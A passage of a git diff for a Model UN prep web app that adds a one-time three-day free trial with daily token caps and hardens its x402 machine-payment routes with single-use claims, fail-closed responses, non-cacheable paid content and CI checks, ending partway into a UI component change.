diff --git a/.env.example b/.env.example index b263b74..36b5cef 100644 --- a/.env.example +++ b/.env.example @@ -10,6 +10,16 @@ NVIDIA_API_KEY= NVIDIA_KIMI_MODEL=moonshotai/kimi-k3 NVIDIA_RESEARCH_MODEL=z-ai/glm-5-3-flash +# Free trial — three days of access granted once, automatically, to a new +# account (see supabase/migrations/20261013_free_trial.sql). +# How many days the trial lasts. Bounded 1-30 to match the grant RPC. +AI_FREE_TRIAL_DAYS=3 +# Daily token budget for a trialling account. Requests are UNLIMITED during the +# trial (that is the feature); this is the cost ceiling that stops a script +# turning a free account into an unbounded inference bill. A person prepping +# hard for a conference uses well under this, so it binds only on abuse. +AI_TRIAL_DAILY_TOKEN_CAP=1000000 + # Admin session auth # ADMIN_SESSION_SECRET must be at least 32 random bytes ADMIN_SESSION_SECRET= @@ -28,8 +38,12 @@ UROPAY_ALLOWED_HOSTS=api.uropai.in,uropai.in,www.uropai.in,checkout.uropai.in NEXT_PUBLIC_SITE_URL=https://mun-ai-app.vercel.app # x402 Machine-to-Machine Payments (AI agents & crawler microtransactions) -# Merchant EVM wallet address to receive bot micro-payments (USDC) -X402_PAY_TO=0x0000000000000000000000000000000000000000 +# Merchant EVM wallet address to receive bot micro-payments (USDC). +# REQUIRED, with no usable default: a missing, malformed, zero, or placeholder +# address now closes the paid routes with a 503 instead of quietly advertising an +# address nobody controls. Replace this with YOUR wallet before enabling x402. +# Example shape: X402_PAY_TO=0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed +X402_PAY_TO= # Target EVM network: eip155:84532 (Base Sepolia testnet) or eip155:8453 (Base mainnet) X402_NETWORK=eip155:84532 # Facilitator service URL (defaults to https://x402.org/facilitator) diff --git a/.github/workflows/ai-safety.yml b/.github/workflows/ai-safety.yml index 10d2be7..cabbc4b 100644 --- a/.github/workflows/ai-safety.yml +++ b/.github/workflows/ai-safety.yml @@ -38,4 +38,18 @@ jobs: grep -rq "reserved_tokens" supabase/migrations || fail "reservation ledger column missing from migrations" grep -q "upstream.abort" lib/ai/nvidia.ts || fail "client cancellation is not propagated to the provider request" grep -q "getClientIp" app/api/ai/research/route.ts || fail "AI route does not use server-resolved client IP" + # Free trial: unlimited prompts, bounded cost, granted exactly once. + # The trial must stay out of the purchasable catalogue, because + # create-order resolves the amount it charges through getPlan(). + grep -q "export function getPlanForDisplay" lib/plans.ts || fail "trial display resolver is missing" + grep -q "FREE_TRIAL_PLAN_ID" lib/plans.ts || fail "trial plan id is missing" + grep -q "start_free_trial" supabase/migrations/20261013_free_trial.sql || fail "trial grant RPC is missing" + grep -q "on conflict (uid) do nothing" supabase/migrations/20261013_free_trial.sql || fail "trial grant is not once-only" + grep -q "revoke all on function public.start_free_trial" supabase/migrations/20261013_free_trial.sql || fail "trial RPC is reachable from the browser" + grep -q "trialUsageLimits" app/api/ai/research/route.ts || fail "AI route does not apply trial limits" + grep -q "requestCap: 0" lib/server/trial.ts || fail "trial no longer lifts the request cap" + grep -q "trialDailyTokenCap" lib/server/trial.ts || fail "trial has no token ceiling" + grep -q "TRIAL_MAX_RESPONSE_MODE" lib/server/x402-machine-limits.ts || fail "trial no longer clamps the paid model" + grep -q "resolveEntitlementWithTrial" app/api/me/entitlement/route.ts || fail "trial never starts" + grep -q "assertPaidAccessOrStartTrial" app/api/ai/research/route.ts || fail "AI route bypasses the trial gate" echo "AI safety OK" diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 6f25edd..80924da 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -41,6 +41,20 @@ jobs: - name: Install dependencies from lockfile run: pnpm install --frozen-lockfile + - name: Payment guard tests (behavioural, offline) + # The rest of `pnpm test` asserts against the live x402 facilitator and + # needs network egress, so it is not run here. These suites are fully + # offline and pin the payment invariants: one grant per authorization + # under concurrency, no grant when settlement reports success but the + # claim is already taken, fail-closed when the claim store is down, an + # over-budget machine caller refused without being charged, a paid + # machine request whose inference cost stays inside the price paid, and + # a free trial that cannot be bought, bought twice, or reach Max. + run: >- + pnpm exec node --import ./scripts/test-loader.mjs + --experimental-strip-types --test tests/x402-payment-guard.test.ts + tests/x402-machine-limits.test.ts tests/free-trial.test.ts + - name: Lint run: pnpm lint diff --git a/.github/workflows/payments.yml b/.github/workflows/payments.yml index 2f76419..c4a2e3e 100644 --- a/.github/workflows/payments.yml +++ b/.github/workflows/payments.yml @@ -40,3 +40,56 @@ jobs: grep -q "processReferralCommission" lib/server/payment-reconciliation.ts || fail "reconciliation does not repair commissions" grep -q "requireAdmin" app/api/admin/reconcile-payments/route.ts || fail "reconciliation endpoint lacks admin gate" echo "Payment lifecycle OK" + + - name: x402 one-payment-one-grant guard + run: | + fail() { echo "FAIL: $1"; exit 1; } + grep -q "export async function fulfilX402Payment" lib/server/x402-fulfil.ts || fail "shared fulfilment pipeline is missing" + grep -q "export async function claimX402Payment" lib/server/x402-payment-guard.ts || fail "atomic claim primitive is missing" + grep -q "x402_payment_claims" supabase/migrations/20261012_x402_payment_guard.sql || fail "claim table migration is missing" + grep -q "payment_already_consumed" lib/server/x402-fulfil.ts || fail "replay rejection response is missing" + grep -q "payment_guard_unavailable" lib/server/x402-fulfil.ts || fail "fail-closed guard response is missing" + grep -q "assertValidPayTo" lib/server/x402-server.ts || fail "payout address validation is missing" + grep -q "X402_PAID_CONTENT_CACHE_CONTROL" lib/server/x402-server.ts || fail "paid-content cache policy is missing" + grep -q "applyPaidContentCachePolicy" app/api/x402/content/route.ts || fail "paid content is not marked non-cacheable" + grep -q "X402_PAID_CONTENT_CACHE_CONTROL" app/api/ai/research/route.ts || fail "paid AI responses are not marked non-cacheable" + # Every x402 handler must route through the shared pipeline, so a new + # paid route cannot re-implement settlement and lose the claim step. + if grep -rn "processSettlement" app/api --include='*.ts'; then fail "a route settles payments directly instead of using fulfilX402Payment"; fi + grep -q "fulfilX402Payment" app/api/ai/research/route.ts || fail "AI route bypasses the fulfilment pipeline" + grep -q "fulfilX402Payment" app/api/x402/content/route.ts || fail "content route bypasses the fulfilment pipeline" + # The machine-caller flag must be set in exactly one place, after the + # pipeline succeeded. The deleted fail-open branch set it unconditionally, + # so a second occurrence means that free-access path has come back. + flag_count=$(grep -rho "isX402Bot = true" app/api --include='*.ts' | wc -l | tr -d ' ') + echo "isX402Bot assignments: $flag_count" + [ "$flag_count" -eq 1 ] || fail "expected exactly 1 machine-caller flag assignment, found $flag_count" + # The placeholder payout default must never come back. + if grep -rn "0x0000000000000000000000000000000000000001" lib app --include='*.ts'; then fail "placeholder payout address default returned"; fi + # A $0.05 payment must not buy Kimi K3 inference. The clamp lives in + # one module and the provider call must use what it returns, not the + # caller's own responseMode/maxTokens. + grep -q "export function grantedResponseLimits" lib/server/x402-machine-limits.ts || fail "machine response limits module is missing" + grep -q "grantedResponseLimits" app/api/ai/research/route.ts || fail "AI route does not clamp machine callers to what they paid" + grep -q "responseMode: granted.responseMode" app/api/ai/research/route.ts || fail "provider call ignores the granted response mode" + grep -q "maxTokens: granted.maxTokens" app/api/ai/research/route.ts || fail "provider call ignores the granted token budget" + echo "x402 guard OK" + + # This repo has no install-based CI job today, so the behavioural suite + # (`pnpm test`) is not executed here. These assertions pin that the + # invariants keep existing; they are textual tripwires, not proof of + # behaviour. To run the real suite: + # pnpm exec node --import ./scripts/test-loader.mjs \ + # --experimental-strip-types --test tests/x402-payment-guard.test.ts + - name: x402 guard test suite is present and covers the invariants + run: | + fail() { echo "FAIL: $1"; exit 1; } + test -f tests/x402-payment-guard.test.ts || fail "guard test suite is missing" + grep -q "grants exactly one claim under concurrency" tests/x402-payment-guard.test.ts || fail "concurrency single-use test is missing" + grep -q "withholds the resource when settlement succeeds but the claim is taken" tests/x402-payment-guard.test.ts || fail "non-authoritative facilitator test is missing" + grep -q "fails closed without granting when the claim store is unreachable" tests/x402-payment-guard.test.ts || fail "store-outage fail-closed test is missing" + grep -q "refuses an over-budget machine caller before charging it" tests/x402-payment-guard.test.ts || fail "machine budget pre-settlement test is missing" + test -f tests/x402-machine-limits.test.ts || fail "machine limits test suite is missing" + grep -q "refuses the Max model no matter what the caller asks for" tests/x402-machine-limits.test.ts || fail "max-mode clamp test is missing" + grep -q "keeps worst-case cost for a machine request well under the price" tests/x402-machine-limits.test.ts || fail "inference cost-bound test is missing" + echo "x402 guard tests present" diff --git a/.gitignore b/.gitignore index 0dd03d2..7d73f0b 100644 --- a/.gitignore +++ b/.gitignore @@ -222,3 +222,9 @@ config/jwt/*.pem *.tar *.gz *.7z + +# The x402 research PoC under research/x402/poc is a standalone offline harness. +# This repo is pnpm-only (see .github/workflows/dependency-audit.yml), so its npm +# lockfile must never be committed. Reinstall there with `npm install` at will; +# the result is regenerable and deliberately not tracked. +/research/x402/poc/package-lock.json diff --git a/SECURITY.md b/SECURITY.md index c86f93c..d7df994 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -148,14 +148,15 @@ node -e "console.log(process.env.ADMIN_SESSION_SECRET?.length >= 32 ? 'secret le * **SEC-API-02:** EVERY list endpoint MUST clamp pagination (`limit 1..100`, `page*pageSize` numeric-clamped) — see `app/api/chats/route.ts:12-15`, `app/api/c8f2x9/users/route.ts:31-32`. * **SEC-API-03:** NEVER trust client-supplied identity fields. Certificate route MUST ignore client `name` and use `user.name/email` (`app/api/courses/[slug]/certificate/route.ts:13-17,93`). * **SEC-API-04:** Dynamic route params MUST be allowlisted: `legal/[slug]` → `legalPages[slug]`, `status/[state]` → `states.has(state)`, referral paths → `REFERRAL_PATH_PATTERN`, partner tokens → `^[a-f0-9]{48}$`. +* **SEC-API-05:** A non-purchasable plan MUST NOT be resolvable by the checkout path. `getPlan()` returns purchasable plans only and is what `create-order` uses to decide an amount; `getPlanForDisplay()` may additionally resolve the free trial, for labelling. Adding the trial to `plans[]`, or aliasing an id into `getPlan()`, would let a caller buy a ₹0 order and grant themselves access. ### Current route matrix (re-verify on every new route) | Route | Gate | Ownership | |---|---|---| -| `api/ai/research` | `requireUser` (+admin fallback), `assertPaidAccess` | `loadOwnedChat` `.eq(id).eq(uid)` | +| `api/ai/research` | `requireUser` (+admin fallback), `assertPaidAccessOrStartTrial` | `loadOwnedChat` `.eq(id).eq(uid)` | | `api/chats`, `api/chats/[id]` | `requireUser` | `.eq(uid)` + `storedChat.uid===uid` | -| `api/me`, `api/me/entitlement`, `api/profile` | `requireUser` | `uid:user.uid` upserts, `.eq(uid)` reads | +| `api/me`, `api/me/entitlement`, `api/profile` | `requireUser` (`/entitlement` also starts the one-time trial) | `uid:user.uid` upserts, `.eq(uid)` reads | | `api/progress`, `api/progress/checkpoint` | `requireUser` | `.eq(uid).eq(course_slug)` | | `api/payments/create-order`, `api/payments/status` | `requireUser` + limits | insert `uid:user.uid`; updates `.eq(id).eq(uid)` | | `api/courses/[slug]/certificate` | `requireUser` + limit | `.eq(uid).eq(course_slug)` | @@ -163,6 +164,17 @@ node -e "console.log(process.env.ADMIN_SESSION_SECRET?.length >= 32 ? 'secret le | `api/admin/*`, `api/c8f2x9/*` | `requireAdmin` / `requireAdminOwner` | owner-only for mutations | | `api/auth/*`, `api/news`, `api/referrals/capture`, `api/partner/applications`, `api/webhooks/uropay` | public by design (limits / HMAC / honeypot) | N/A — see their sections | +### Free trial access model + +Three days of access, granted once per account, automatically, on the first authenticated request. Four properties hold it together — break any one and it becomes either an unlimited free product or an unbounded bill: + +1. **Granted once, ever.** `start_free_trial` (`supabase/migrations/20261013_free_trial.sql`) inserts only when no `entitlements` row exists for the uid — `on conflict (uid) do nothing`, with `uid` the primary key. Expired rows are never deleted, so the marker outlives the access it granted and cannot be re-collected. `trial_started_at` keeps that fact durable even after a paid grant overwrites `plan_id`. +2. **Not callable from a browser.** The RPC is `security definer` with `revoke all ... from public, anon, authenticated` and `grant execute ... to service_role` only. +3. **Gated behind a confirmed email.** It is called only after `requireUser()`, which rejects unverified sessions — so a trial costs at least one verified address. +4. **Cost-bounded.** Unlimited *requests* (`requestCap: 0`), but a finite `AI_TRIAL_DAILY_TOKEN_CAP` and **no Max model**: `grantedResponseLimits("trial", …)` downgrades to `thorough`, because a million tokens/day on Kimi K3 is ~₹1,320 while the same budget on GLM-5.3-Flash is ~₹44. See `lib/server/x402-machine-limits.ts`. + +**Residual risk, accepted knowingly:** a user with a second email address can take a second trial. The gate is email verification (plus the 5/10min per-IP signup limit and the honeypot), not identity — that is inherent to any free trial and the cost ceiling above bounds the downside. If trial abuse is ever observed, the next step is a device or payment-instrument signal, not a tighter token cap, which would only inconvenience honest users. + --- ## 8. Supabase Row Level Security @@ -291,7 +303,7 @@ Implementation: DB-backed `rpc(rate_limit_check)` + `getClientIp` (prefers `x-ve | `auth/signup` | `signup:{ip}` | 5/10min (+honeypot) | | `auth/reset-request`, `reset-password` | per-IP | 5/10min | | `c8f2x9/login` | `admin-login:{ip}` | 5/min | -| `ai/research` | per-user + per-IP + daily ledger | 12/min/user, 30/min/IP, caps `AI_DAILY_REQUEST_CAP=60` / `AI_DAILY_TOKEN_CAP=300000` | +| `ai/research` | per-user + per-IP + daily ledger | 12/min/user, 30/min/IP, caps `AI_DAILY_REQUEST_CAP=60` / `AI_DAILY_TOKEN_CAP=300000`. A **free-trial** account (see below) has **no request cap** and a `AI_TRIAL_DAILY_TOKEN_CAP=1000000` ceiling instead | | `payments/create-order` | user + IP | 10/5min | | `payments/status` | user | throttled | | `news` | `news:{ip}` | 30/min | diff --git a/app/api/ai/research/route.ts b/app/api/ai/research/route.ts index a528f22..d420fa5 100644 --- a/app/api/ai/research/route.ts +++ b/app/api/ai/research/route.ts @@ -2,25 +2,58 @@ import { z } from "zod"; import { ApiError, jsonError, parseJson } from "@/lib/api"; import { runMunResearch } from "@/lib/ai/router"; import { requireUser } from "@/lib/server/auth"; -import { assertPaidAccess } from "@/lib/server/entitlements"; import { requireAdmin } from "@/lib/server/admin-auth"; import { checkRateLimit, getClientIp } from "@/lib/server/rate-limit"; -import { estimateAiTokens, reserveAiUsage, settleAiUsage } from "@/lib/server/ai-usage"; +import { + estimateAiTokens, + reserveAiUsage, + settleAiUsage, + type AiUsageReservation, +} from "@/lib/server/ai-usage"; import { accumulateUsage, consumeSSEStream, parseSSEPayload } from "@/lib/ai/sse"; import { loadChatTranscript, saveChatTranscript, type ChatTurn } from "@/lib/server/chat-storage"; import { supabaseAdmin } from "@/lib/supabase/server"; import { logger } from "@/lib/server/secure-logger"; import { isBotRequest } from "@/lib/server/bot-detection"; +import { processX402Request, buildX402Response, X402_ROUTE_PRICES } from "@/lib/server/x402-server"; +import { + fulfilX402Payment, + X402_PAID_CONTENT_CACHE_CONTROL, +} from "@/lib/server/x402-fulfil"; import { - processX402Request, - buildX402Response, - recordX402Payment, - X402_ROUTE_PRICES, - getX402HttpServer, -} from "@/lib/server/x402-server"; + grantedResponseLimits, + type AiAccessKind, +} from "@/lib/server/x402-machine-limits"; +import { + assertPaidAccessOrStartTrial, + isTrialEntitlement, + trialUsageLimits, +} from "@/lib/server/trial"; export const runtime = "nodejs"; +/** + * Storage namespace for machine callers. + * + * Two constraints shape this literal: + * + * 1. It must be version-4 shaped. Chat transcripts are stored at + * `${uid}/${chatId}.json`, and `saveChatTranscript` gates on a v4 UUID + * pattern. The previous all-zeros value failed that gate, so every machine + * transcript was silently discarded — no error, no log, just a no-op. + * 2. It must never be a real account. No `auth.users` / `public.users` row can + * hold this value, so it cannot be used to read or write a human's data. + * + * Because it is not a real account, it must never reach a column with a foreign + * key to `auth.users`: machine requests are metered against the claims table + * instead — see `fulfilX402Payment({ enforceMachineDailyCap })` — and the + * `ai_generations` index row is skipped for them. + */ +const X402_MACHINE_UID = "00000000-0000-4000-8000-000000000000"; + +/** Daily machine request cap, matching the human per-user cap. */ +const AI_DAILY_REQUEST_CAP = 60; + const schema = z.object({ committee: z.string().trim().min(2).max(160), agenda: z.string().trim().min(5).max(6000), @@ -59,6 +92,37 @@ function completionTokenCeiling( return requested && requested < ceiling ? requested : ceiling; } +const X402_MACHINE_RESERVATION_ID = "x402-machine"; + +/** + * Reservation stand-in for a paid machine caller. + * + * The per-payer request cap and single-use enforcement already ran atomically + * in `fulfilX402Payment` before settlement, and token spend is bounded by + * `MODE_COMPLETION_CEILINGS` on this route, so at this point there is nothing + * left to reserve. The human token ledger cannot represent a non-human caller + * at all: `ai_usage_daily.uid` references `auth.users`, so writing the machine + * sentinel there raises a foreign-key error and fails a request the caller has + * already paid for. + */ +async function reserveMachineAiUsage( + payer: string | null +): Promise { + if (!payer) { + // Should be unreachable: `fulfilX402Payment` refuses unattributable + // payers before settling. Refuse anyway rather than serve unmetered. + throw new ApiError(503, "machine_identity_unavailable", "Payment guard temporarily unavailable."); + } + + return { id: X402_MACHINE_RESERVATION_ID, reservedTokens: 0 }; +} + +/** Settles a reservation, skipping the machine stand-in (which has no row). */ +async function settleUsage(reservationId: string, tokens: number): Promise { + if (reservationId === X402_MACHINE_RESERVATION_ID) return; + await settleAiUsage(reservationId, tokens); +} + type GenerationDetails = { chatId: string; uid: string; @@ -81,6 +145,10 @@ export async function POST(request: Request) { try { let uid: string; let isX402Bot = false; + // Which spend class this request belongs to. Defaults to the human paid + // path, which is also what an administrator session gets. + let accessKind: AiAccessKind = "paid"; + let machinePayer: string | null = null; let x402SettlementHeaders: Record = {}; // 1. Differentiate Bot vs Human User @@ -97,44 +165,54 @@ export async function POST(request: Request) { return buildX402Response(x402Result); } - if (x402Result.type === "payment-verified") { - // Settle transaction on-chain via facilitator - const server = await getX402HttpServer(); - const settleResult = await server.processSettlement( - x402Result.paymentPayload, - x402Result.paymentRequirements, - x402Result.declaredExtensions - ); + if (x402Result.type !== "payment-verified") { + // A paid route must not proceed on any outcome that is neither a + // payment challenge nor a consumed payment. This guards against the + // route config and this handler ever drifting apart, which would + // otherwise serve paid AI capacity for free. + return buildX402Response({ + response: { + status: 402, + headers: { "Cache-Control": "no-store" }, + body: { error: "Payment required.", code: "payment_required" }, + }, + }); + } - if (!settleResult.success) { - return buildX402Response({ response: settleResult.response }); - } + // Settle, then atomically consume the authorization for this route. + // The daily machine cap is evaluated before settlement so an + // over-budget caller is refunded-in-effect (never charged at all). + const fulfilment = await fulfilX402Payment({ + verified: x402Result, + resourceKey: "ai-research", + amountUsd: X402_ROUTE_PRICES.aiResearch, + route: "/api/ai/research", + enforceMachineDailyCap: AI_DAILY_REQUEST_CAP, + }); - x402SettlementHeaders = settleResult.headers; - isX402Bot = true; - // Machine callers use deterministic synthetic UID for metering & chat storage - uid = "00000000-0000-0000-0000-000000000000"; - - // Audit log bot microtransaction in payments table - const orderRef = `x402-${crypto.randomUUID()}`; - await recordX402Payment({ - orderRef, - amountUsd: X402_ROUTE_PRICES.aiResearch, - network: x402Result.paymentRequirements.network, - transactionHash: settleResult.transaction, - status: "paid", - metadata: { path: "/api/ai/research" }, - }); - } else { - // Fallback for no-payment-required if configured - isX402Bot = true; - uid = "00000000-0000-0000-0000-000000000000"; + if (!fulfilment.ok) { + return fulfilment.response; } + + x402SettlementHeaders = fulfilment.headers; + isX402Bot = true; + accessKind = "machine"; + // Machine callers have no auth.users row. This sentinel is a storage + // namespace only (chat transcripts) and is never written to a column + // that references auth.users — see reserveMachineAiUsage below. + uid = X402_MACHINE_UID; + machinePayer = fulfilment.identity.payer; } else { // Human browser: maintain existing session & UroPay entitlement gate try { const user = await requireUser(request); - await assertPaidAccess(user.uid); + // The one-time free trial starts here rather than at signup: this runs + // only for a confirmed-email session, and only when the account is + // reaching for a tool, so trial days are never spent waiting for the + // verification email. Idempotent and NOT repeatable — the database + // grants it only to an account with no entitlement row at all. + const entitlement = await assertPaidAccessOrStartTrial(user.uid); + accessKind = isTrialEntitlement(entitlement) ? "trial" : "paid"; uid = user.uid; } catch (error) { // A regular user who lacks Premium must still receive the paywall error; @@ -185,15 +263,48 @@ export async function POST(request: Request) { const promptEstimate = estimateAiTokens( [body.data.agenda, ...priorTurns.map((turn) => turn.content)].join("\n") ); - const completionCeiling = completionTokenCeiling(body.data.responseMode, body.data.maxTokens); - const reservation = await reserveAiUsage(uid, promptEstimate + completionCeiling); + // A paid machine caller is clamped to the model its payment covers. Two + // reasons this has to happen here rather than in the router: the client's + // `responseMode` and `maxTokens` arrive in its own request body, and both + // decide what the provider work costs while the price stays $0.05. See + // lib/server/x402-machine-limits.ts for the arithmetic. + const granted = grantedResponseLimits( + accessKind, + body.data.responseMode, + body.data.maxTokens + ); + + const completionCeiling = completionTokenCeiling(granted.responseMode, granted.maxTokens); + + // Machine callers are metered against the claims table, not auth.users. + // `reserveAiUsage` writes ai_usage_daily.uid, which references auth.users, + // so the machine sentinel would fail its foreign key and turn every paid + // request into a 503 — after the caller had already been charged. + // A trial account gets the feature it was promised — unlimited requests — + // while its daily token budget and the paid-only model clamp keep the cost + // of an abusive account bounded. See lib/server/trial.ts. + const reservation = isX402Bot + ? await reserveMachineAiUsage(machinePayer) + : await reserveAiUsage( + uid, + promptEstimate + completionCeiling, + accessKind === "trial" ? trialUsageLimits() : undefined + ); let result: Awaited>; try { - result = await runMunResearch({ ...body.data, tool, conversation: priorTurns }); + result = await runMunResearch({ + ...body.data, + // After the spread on purpose: these are the granted limits, not the + // client's, and a machine caller must not be able to widen them here. + responseMode: granted.responseMode, + maxTokens: granted.maxTokens, + tool, + conversation: priorTurns + }); } catch (error) { // Provider work never started or failed outright: release the budget. - await settleAiUsage(reservation.id, 0); + await settleUsage(reservation.id, 0); throw error; } @@ -212,7 +323,7 @@ export async function POST(request: Request) { const collected = await collectStreamContent(result.stream); const collectedTokens = collected.promptTokens + collected.completionTokens; if (!collected.content) { - await settleAiUsage( + await settleUsage( reservation.id, collectedTokens > 0 ? collectedTokens : promptEstimate ); @@ -238,7 +349,7 @@ export async function POST(request: Request) { ), }); } finally { - await settleAiUsage( + await settleUsage( reservation.id, collectedTokens > 0 ? collectedTokens @@ -255,6 +366,11 @@ export async function POST(request: Request) { for (const [k, v] of Object.entries(x402SettlementHeaders)) { jsonResponse.headers.set(k, v); } + // A paid completion must not be storable by a shared cache: the next + // caller has not paid for it. Humans keep their existing cache policy. + if (isX402Bot) { + jsonResponse.headers.set("Cache-Control", X402_PAID_CONTENT_CACHE_CONTROL); + } return jsonResponse; } @@ -274,7 +390,9 @@ export async function POST(request: Request) { const streamHeaders = new Headers({ "Content-Type": "text/event-stream; charset=utf-8", - "Cache-Control": "no-cache, no-transform", + "Cache-Control": isX402Bot + ? X402_PAID_CONTENT_CACHE_CONTROL + : "no-cache, no-transform", Connection: "keep-alive", "X-Accel-Buffering": "no", "X-Chat-Id": chatId, @@ -306,7 +424,7 @@ export async function POST(request: Request) { ), }); } finally { - await settleAiUsage( + await settleUsage( reservation.id, reportedTokens > 0 ? reportedTokens : promptEstimate + estimateAiTokens(output) ); @@ -316,6 +434,9 @@ export async function POST(request: Request) { for (const [k, v] of Object.entries(x402SettlementHeaders)) { standardResponse.headers.set(k, v); } + if (isX402Bot) { + standardResponse.headers.set("Cache-Control", X402_PAID_CONTENT_CACHE_CONTROL); + } return standardResponse; } catch (error) { return jsonError(error); @@ -397,7 +518,7 @@ function persistStream( source: ReadableStream, // otherwise fall back to a conservative estimate of what was streamed. // (This is what keeps cancelled generations from being free.) const observedTokens = usageTotals.promptTokens + usageTotals.completionTokens; - await settleAiUsage( + await settleUsage( details.reservationId, observedTokens > 0 ? observedTokens @@ -477,6 +598,12 @@ async function saveCompletedChat(details: GenerationDetails) { createdAt: new Date().toISOString(), }); + // `ai_generations.uid` is NOT NULL and references auth.users, so a machine + // caller cannot have an index row. The transcript itself is already stored + // above under the machine namespace; the index is only read back by the + // human history view, which never serves machine callers. + if (details.uid === X402_MACHINE_UID) return; + const { error } = await supabaseAdmin().from("ai_generations").upsert({ id: details.chatId, uid: details.uid, diff --git a/app/api/me/entitlement/route.ts b/app/api/me/entitlement/route.ts index fc340f0..cb3d76e 100644 --- a/app/api/me/entitlement/route.ts +++ b/app/api/me/entitlement/route.ts @@ -1,6 +1,6 @@ import { jsonError } from "@/lib/api"; import { requireUser } from "@/lib/server/auth"; -import { getEntitlement } from "@/lib/server/entitlements"; +import { resolveEntitlementWithTrial } from "@/lib/server/trial"; export const runtime = "nodejs"; @@ -8,7 +8,12 @@ export const runtime = "nodejs"; export async function GET(request: Request) { try { const user = await requireUser(request); - const entitlement = await getEntitlement(user.uid); + + // The trial starts on the first authenticated read, so an account that has + // just confirmed its email sees access immediately rather than waiting for + // a background job. Idempotent: a second call changes nothing, and an + // account that already has access never reaches the grant RPC at all. + const entitlement = await resolveEntitlementWithTrial(user.uid); return Response.json({ entitlement }); } catch (error) { diff --git a/app/api/x402/content/route.ts b/app/api/x402/content/route.ts index ae195b0..16fb653 100644 --- a/app/api/x402/content/route.ts +++ b/app/api/x402/content/route.ts @@ -7,9 +7,10 @@ import { jsonError } from "@/lib/api"; import { processX402Request, buildX402Response, - recordX402Payment, + applyPaidContentCachePolicy, X402_ROUTE_PRICES, } from "@/lib/server/x402-server"; +import { fulfilX402Payment } from "@/lib/server/x402-fulfil"; export const runtime = "nodejs"; @@ -55,100 +56,106 @@ export async function GET(request: Request) { } const url = new URL(request.url); - const resource = url.searchParams.get("resource") || "summary"; - const slug = url.searchParams.get("slug") || ""; + const resource = url.searchParams.get("resource") || "summary"; + const slug = url.searchParams.get("slug") || ""; - // Run through x402 processor for the content route - const processResult = await processX402Request( - request, - "/api/x402/content", - "GET" - ); + // The exact resource being bought. Bound to the payment claim so a single + // authorization can never be spent across two different resources. + const resourceKey = `${resource}${slug ? `:${slug}` : ""}`; - if (processResult.type === "payment-error") { - return buildX402Response(processResult); - } - - let settlementHeaders: Record = {}; - if (processResult.type === "payment-verified") { - // Settle with facilitator - const settleResult = await ( - await import("@/lib/server/x402-server") - ) - .getX402HttpServer() - .then((server) => - server.processSettlement( - processResult.paymentPayload, - processResult.paymentRequirements, - processResult.declaredExtensions - ) - ); + // Run through x402 processor for the content route + const processResult = await processX402Request( + request, + "/api/x402/content", + "GET" + ); - if (!settleResult.success) { - return buildX402Response({ response: settleResult.response }); + if (processResult.type === "payment-error") { + return buildX402Response(processResult); } - settlementHeaders = settleResult.headers; + let settlementHeaders: Record = {}; - // Record verified transaction in payments ledger - const orderRef = `x402-${crypto.randomUUID()}`; - await recordX402Payment({ - orderRef, - amountUsd: X402_ROUTE_PRICES.contentPage, - network: processResult.paymentRequirements.network, - transactionHash: settleResult.transaction, - status: "paid", - metadata: { resource, slug }, - }); - } + if (processResult.type === "payment-verified") { + // Settle, then atomically consume the authorization for THIS resource. + // The resource is only released when the payment was both settled and + // successfully claimed single-use. + const fulfilment = await fulfilX402Payment({ + verified: processResult, + resourceKey, + amountUsd: X402_ROUTE_PRICES.contentPage, + route: "/api/x402/content", + }); - // Construct requested content data - let data: unknown; + if (!fulfilment.ok) { + return fulfilment.response; + } - if (resource === "courses") { - data = { - courses: courses.map((c) => ({ - slug: c.slug, - title: c.title, - category: c.category, - description: c.description, - lessonCount: c.lessons.length, - })), - }; - } else if (resource === "course" && slug) { - const course = courses.find((c) => c.slug === slug); - if (!course) { - return NextResponse.json({ error: "Course not found" }, { status: 404 }); + settlementHeaders = fulfilment.headers; + } else { + // Any outcome that is neither a payment challenge nor a consumed payment + // must not yield content on a paid route. This is unreachable while the + // route configuration and this handler agree on path+method, but it fails + // closed if they ever drift — the alternative is free paid content. + return buildX402Response({ + response: { + status: 402, + headers: { "Cache-Control": "no-store" }, + body: { error: "Payment required.", code: "payment_required" }, + }, + }); } - data = { course }; - } else if (resource === "glossary") { - data = { glossary: glossaryTerms }; - } else if (resource === "legal") { - if (slug && legalPages[slug]) { - data = { page: legalPages[slug] }; + + // Construct requested content data + let data: unknown; + + if (resource === "courses") { + data = { + courses: courses.map((c) => ({ + slug: c.slug, + title: c.title, + category: c.category, + description: c.description, + lessonCount: c.lessons.length, + })), + }; + } else if (resource === "course" && slug) { + const course = courses.find((c) => c.slug === slug); + if (!course) { + return NextResponse.json({ error: "Course not found" }, { status: 404 }); + } + data = { course }; + } else if (resource === "glossary") { + data = { glossary: glossaryTerms }; + } else if (resource === "legal") { + if (slug && legalPages[slug]) { + data = { page: legalPages[slug] }; + } else { + data = { pages: legalPages }; + } } else { - data = { pages: legalPages }; + data = { + service: "MUN Prep Bot Knowledge Base", + availableResources: [ + { resource: "courses", description: "All available MUN courses" }, + { resource: "course", query: "?resource=course&slug=mun-basics", description: "Full course with lessons" }, + { resource: "glossary", description: "Full Model UN terminology reference" }, + { resource: "legal", description: "Terms, privacy, policies, and disclosures" }, + ], + price: X402_ROUTE_PRICES.contentPage, + network: "Base (EVM USDC)", + }; } - } else { - data = { - service: "MUN Prep Bot Knowledge Base", - availableResources: [ - { resource: "courses", description: "All available MUN courses" }, - { resource: "course", query: "?resource=course&slug=mun-basics", description: "Full course with lessons" }, - { resource: "glossary", description: "Full Model UN terminology reference" }, - { resource: "legal", description: "Terms, privacy, policies, and disclosures" }, - ], - price: X402_ROUTE_PRICES.contentPage, - network: "Base (EVM USDC)", - }; - } - const response = NextResponse.json(data); - for (const [key, value] of Object.entries(settlementHeaders)) { - response.headers.set(key, value); - } + const response = NextResponse.json(data); + for (const [key, value] of Object.entries(settlementHeaders)) { + response.headers.set(key, value); + } - return response; + // Payment-gated content must not be storable by any shared cache. Without + // this, a CDN may serve the granted body to later unpaid callers for the + // whole length of its TTL. + return applyPaidContentCachePolicy(response); } catch (error) { return jsonError(error); } diff --git a/components/entitlement-banner.tsx b/components/entitlement-banner.tsx index b8d047d..03ee52c 100644 --- a/components/entitlement-banner.tsx +++ b/components/entitlement-banner.tsx @@ -5,13 +5,23 @@ import Link from "next/link"; import { useEffect, useState } from "react"; import { useAuth } from "@/components/auth-provider"; 